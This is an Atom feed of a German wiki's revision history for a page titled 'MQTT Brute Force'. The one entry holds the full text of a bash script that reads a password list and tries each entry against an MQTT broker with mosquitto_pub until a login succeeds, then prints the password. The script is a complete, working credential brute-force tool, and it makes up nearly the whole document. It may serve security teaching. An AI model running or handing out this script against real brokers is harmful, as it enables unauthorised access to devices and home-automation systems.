<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=MQTT_Brute_Force</id>
	<title>MQTT Brute Force - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=MQTT_Brute_Force"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=MQTT_Brute_Force&amp;action=history"/>
	<updated>2026-06-29T06:03:51Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=MQTT_Brute_Force&amp;diff=58235&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „&lt;pre&gt; #!/bin/bash  # Initialisiere Variablen while getopts &quot;:h:u:f:&quot; opt; do   case $opt in     h) HOST=$OPTARG ;;     u) BENUTZER=$OPTARG ;;     f) FILE=$OPTA…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=MQTT_Brute_Force&amp;diff=58235&amp;oldid=prev"/>
		<updated>2024-11-04T11:27:31Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „&amp;lt;pre&amp;gt; #!/bin/bash  # Initialisiere Variablen while getopts &amp;quot;:h:u:f:&amp;quot; opt; do   case $opt in     h) HOST=$OPTARG ;;     u) BENUTZER=$OPTARG ;;     f) FILE=$OPTA…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
# Initialisiere Variablen&lt;br /&gt;
while getopts &amp;quot;:h:u:f:&amp;quot; opt; do&lt;br /&gt;
  case $opt in&lt;br /&gt;
    h) HOST=$OPTARG ;;&lt;br /&gt;
    u) BENUTZER=$OPTARG ;;&lt;br /&gt;
    f) FILE=$OPTARG ;;&lt;br /&gt;
    \?) echo &amp;quot;Ungültige Option: -$OPTARG&amp;quot; &amp;gt;&amp;amp;2; exit 1 ;;&lt;br /&gt;
    :) echo &amp;quot;Option -$OPTARG benötigt ein Argument.&amp;quot; &amp;gt;&amp;amp;2; exit 1 ;;&lt;br /&gt;
  esac&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Überprüfe, ob alle notwendigen Argumente gesetzt sind&lt;br /&gt;
if [ -z &amp;quot;$HOST&amp;quot; ] || [ -z &amp;quot;$BENUTZER&amp;quot; ] || [ -z &amp;quot;$FILE&amp;quot; ]; then&lt;br /&gt;
  echo &amp;quot;Verwendung: $0 -h HOST -u BENUTZER -f FILE&amp;quot;&lt;br /&gt;
  exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# Lies das Passwort-File Zeile für Zeile und versuche, sich mit jedem Passwort anzumelden&lt;br /&gt;
while read -r PASS; do&lt;br /&gt;
  if mosquitto_pub -h &amp;quot;$HOST&amp;quot; -u &amp;quot;$BENUTZER&amp;quot; -P &amp;quot;$PASS&amp;quot; -t home/livingRoom/status -m &amp;quot;on&amp;quot; 2&amp;gt; /dev/null; then&lt;br /&gt;
    echo &amp;quot;Das Passwort ist: $PASS&amp;quot;&lt;br /&gt;
    exit 0&lt;br /&gt;
  fi&lt;br /&gt;
done &amp;lt; &amp;quot;$FILE&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>